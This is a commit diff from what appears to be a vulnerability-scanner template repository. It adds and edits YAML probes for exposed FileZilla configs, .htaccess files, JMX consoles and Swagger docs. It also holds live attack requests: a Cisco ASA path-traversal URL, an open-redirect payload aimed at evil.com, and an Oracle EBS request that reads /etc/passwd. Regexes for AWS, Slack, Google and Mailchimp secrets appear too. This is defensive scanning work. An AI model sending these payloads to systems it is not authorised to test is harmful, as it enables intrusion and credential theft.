temp fix for extractors

Update .gitignore
Merge pull request #269 from eugui/patch-4
2026-11-07 08:36:19 -10:00 · 2020-07-30 13:46:37 +05:30 · 2020-07-29 13:21:06 +05:30 · 2020-07-28 21:16:58 +05:30 · 2020-07-28 21:09:49 +05:30 · 2020-07-28 20:58:54 +05:30
16 changed files with 157 additions and 28 deletions
@@ -1,2 +1,2 @@
-
 .DS_Store
+local/
@@ -10,10 +10,15 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/session_password.html&default-language&lang=../"
+      - "{{BaseURL}}/+CSCOE+/session_password.html"
+    matchers-condition: and
    matchers:
      - type: word
        words:
-          - "/+CSCOE+/session_password.html"
-          - "GET_OUT_RESOURCE"
-        condition: and
+          - webvpn
+          - Webvpn
+        part: header
+
+      - type: status
+        status:
+          - 200
@@ -3,7 +3,7 @@ id: dir-listing
 info:
  name: Directory listing enabled
  author: _harleo
-  severity: low
+  severity: informative

 requests:
  - method: GET
@@ -0,0 +1,29 @@
+id: filezilla-exposed
+
+info:
+  name: Filezilla
+  author: amsda
+  severity: medium
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/filezilla.xml"
+      - "{{BaseURL}}/sitemanager.xml"
+      - "{{BaseURL}}/FileZilla.xml"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<FileZilla"
+          - "<Servers>"
+        condition: and
+
+      - type: word
+        words:
+          - xml
+        part: header
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,18 @@
+id: htaccess-config
+
+info:
+  name: HTaccess config file
+  author: Yash Anand @yashanand155
+  severity: informative
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.htaccess"
+    matchers:
+      - type: word
+        words:
+          - RewriteRule
+          - </IfModule>
+          - <IfModule
+        condition: and
@@ -0,0 +1,20 @@
+id: lazy-file-manager
+
+info:
+  name: Lazy File Manager
+  author: amsda
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/lfm.php"
+    matcher-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - Lazy File Manager
@@ -0,0 +1,13 @@
+id: jmx-console
+info:
+  name: JMX Console
+  author: Yash Anand @yashanand155
+  severity: Low
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/jmx-console/'
+    matchers:
+      - type: word
+        words:
+          - JBoss JMX Management Console
@@ -15,6 +15,28 @@ requests:
      - "{{BaseURL}}/api-docs/swagger.json"
      - "{{BaseURL}}/swagger.json"
      - "{{BaseURL}}/swagger/v1/swagger.json"
+      - "{{BaseURL}}/api/index.html"
+      - "{{BaseURL}}/api/docs/"
+      - "{{BaseURL}}/api/swagger.json"
+      - "{{BaseURL}}/api/swagger.yaml"
+      - "{{BaseURL}}/api/swagger.yml"
+      - "{{BaseURL}}/api/swagger/index.html"
+      - "{{BaseURL}}/api/swagger/swagger-ui.html"
+      - "{{BaseURL}}/api/api-docs/swagger.json"
+      - "{{BaseURL}}/api/swagger-ui/swagger.json"
+      - "{{BaseURL}}/api/apidocs/swagger.json"
+      - "{{BaseURL}}/api/swagger-ui/api-docs"
+      - "{{BaseURL}}/api/api-docs"
+      - "{{BaseURL}}/api/apidocs"
+      - "{{BaseURL}}/api/swagger"
+      - "{{BaseURL}}/api/swagger/static/index.html"
+      - "{{BaseURL}}/api/swagger-resources"
+      - "{{BaseURL}}/api/swagger-resources/restservices/v2/api-docs"
+      - "{{BaseURL}}/api/__swagger__/"
+      - "{{BaseURL}}/api/_swagger_/"
+      - "{{BaseURL}}/api/spec/swagger.json"
+      - "{{BaseURL}}/api/swagger/ui/index"
+      - "{{BaseURL}}/api/api/schema/"
    matchers:
      - type: word
        words:
@@ -6,18 +6,19 @@ info:
  severity: medium

 requests:
-  - extractors:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+  matchers-condition: and
+  matchers:
      - part: body
        regex:
          - "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
        type: regex

-    matchers-condition: and
-    matchers:
+  extractors:
      - part: body
        regex:
          - "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
-        type: regex
-    method: GET
-    path:
-      - "{{BaseURL}}"
+        type: regex
@@ -3,19 +3,20 @@ id: aws-access-key-value
 info:
  name: AWS Access Key ID Value
  author: Swissky
-  severity: medium
+  severity: info

 requests:
  - method: GET
    path:
      - "{{BaseURL}}"

-    matchers-condition: and
-    matchers:
+  matchers-condition: and
+  matchers:
      - type: regex
        part: body
        regex:
          - "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
+
    extractors:
      - type: regex
        part: body
@@ -10,12 +10,13 @@ requests:
    path:
      - "{{BaseURL}}"

-    matchers-condition: and
-    matchers:
+  matchers-condition: and
+  matchers:
      - type: regex
        part: body
        regex:
          - "AIza[0-9A-Za-z\\-_]{35}"
+
    extractors:
      - type: regex
        part: body
@@ -13,12 +13,13 @@ requests:
    path:
      - "{{BaseURL}}"

-    matchers-condition: and
-    matchers:
+  matchers-condition: and
+  matchers:
      - type: regex
        part: body
        regex:
          - "(ftp|ftps|http|https)://[0-9A-Za-z\\-_%]+(:|@)"
+
    extractors:
      - type: regex
        part: body
@@ -10,12 +10,13 @@ requests:
    path:
      - "{{BaseURL}}"

-    matchers-condition: and
-    matchers:
+  matchers-condition: and
+  matchers:
      - type: regex
        part: body
        regex:
          - "[0-9a-f]{32}-us[0-9]{1,2}"
+
    extractors:
      - type: regex
        part: body
@@ -13,16 +13,18 @@ requests:
    path:
      - "{{BaseURL}}"

-    matchers-condition: and
-    matchers:
+  matchers-condition: and
+  matchers:
+
      - type: regex
        part: body
        regex:
          - "xoxp-[0-9A-Za-z\\-]{72}"  # Person
          - "xoxb-[0-9A-Za-z\\-]{51}"  # Bot
+
    extractors:
      - type: regex
        part: body
        regex:
-          - "xoxp-[0-9A-Za-z\\-]{72}"
-          - "xoxb-[0-9A-Za-z\\-]{51}"
+          - "xoxp-[0-9A-Za-z\\-]{72}"  # Person
+          - "xoxb-[0-9A-Za-z\\-]{51}"  # Bot
@@ -16,9 +16,9 @@ requests:
      - "{{BaseURL}}//evil.com/..;/css"
      - "{{BaseURL}}/evil%E3%80%82com"
      - "{{BaseURL}}/%5Cevil.com"
-      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com"
+      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?evil\.com(?:\s*?)$'
-        part: header
+        part: header
@@ -0,0 +1,15 @@
+id: oracle-ebs-bispgrapgh-file-read
+info: 
+  name: Oracle EBS Bispgraph File Access
+  author: "Alfie Njeru (@emenalf) - https://the-infosec.com"
+  severity: Critical
+requests:
+  - method: GET
+    path: 
+      - "{{BaseURL}}/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/"
+
+    matchers: 
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
Author	SHA1	Message	Date
bauthard	36a730e9df	temp fix for extractors	2020-07-30 13:46:37 +05:30
bauthard	ce124d32bd	Update .gitignore	2020-07-29 13:21:06 +05:30
bauthard	9be9a16bbc	Merge pull request #269 from eugui/patch-4 Update open-redirect.yaml	2020-07-28 21:16:58 +05:30
bauthard	3f9f47d682	Merge pull request #261 from eugui/patch-1 Update swagger-panel.yaml	2020-07-28 21:09:49 +05:30
bauthard	ef61bfd5dc	Merge pull request #266 from XalfiE/master Check to test Oracle EBS Bispgraph File Access Vulnerability (RCE)	2020-07-28 20:58:54 +05:30
bauthard	e23e6767fd	updating template	2020-07-28 20:44:22 +05:30
bauthard	3fd163e6c8	Merge pull request #262 from eugui/patch-2 Create lazy-file.yaml	2020-07-28 20:20:15 +05:30
bauthard	094ebe18bf	correcting matcher rule	2020-07-28 20:14:34 +05:30
bauthard	ea3f569315	Merge pull request #264 from eugui/patch-3 Create filezilla.yaml	2020-07-28 19:45:26 +05:30
bauthard	8ce1575736	Update filezilla.yaml	2020-07-28 19:42:45 +05:30
bauthard	367674cc51	Merge pull request #263 from yashanand/master JMX Console	2020-07-28 19:23:20 +05:30
bauthard	df091f9fec	updating matcher	2020-07-28 19:22:30 +05:30
d[-_-]b	318a78ebef	Update open-redirect.yaml	2020-07-28 14:29:36 +01:00
Alfie Njeru	6e8b732d57	Update oracle-ebs-bispgraph-file-access-vulnerability(rce).yaml	2020-07-27 12:37:21 +03:00
Alfie Njeru	2ac65abb92	Update CVE-2020-3452.yaml	2020-07-27 12:31:38 +03:00
Alfie Njeru	881efe9d95	Update CVE-2020-3452.yaml	2020-07-27 12:30:16 +03:00
Alfie Njeru	5340a96e4c	Oracle EBS Bispgraph File Access Vulnerability A test to check whether you can read the etc/password file on a vulnerable Oracle Enterprise Business Suite instance	2020-07-27 12:25:15 +03:00
d[-_-]b	91f1ffa23a	Create filezilla.yaml	2020-07-27 08:25:54 +01:00
Yash Anand	6ec61bebc0	JMX Console	2020-07-27 11:35:52 +05:30
bauthard	1682750d91	removing duplicates	2020-07-27 02:20:54 +05:30
d[-_-]b	d95039f26f	Create lazy-file.yaml	2020-07-26 20:29:04 +01:00
d[-_-]b	effd01fe15	Update swagger-panel.yaml	2020-07-26 20:26:57 +01:00
bauthard	eae2f9fd72	Merge pull request #258 from yashanand/master Added htaccess templates	2020-07-26 03:39:02 +05:30
bauthard	87f5e61d2c	updates	2020-07-26 03:36:57 +05:30
bauthard	94d99ba353	updates	2020-07-26 01:35:02 +05:30
Alfie Njeru	82f2da04f8	Update CVE-2020-3452.yaml Added the second PoC	2020-07-25 11:49:14 +03:00
bauthard	567dd35b03	Update CVE-2020-3187.yaml	2020-07-25 12:35:19 +05:30
bauthard	86e27b8609	updating template	2020-07-25 12:27:30 +05:30
Yash Anand	6233f18c40	Add files via upload	2020-07-24 15:47:46 +05:30
Yash Anand	e99e691df4	Htaccess file	2020-07-24 15:46:18 +05:30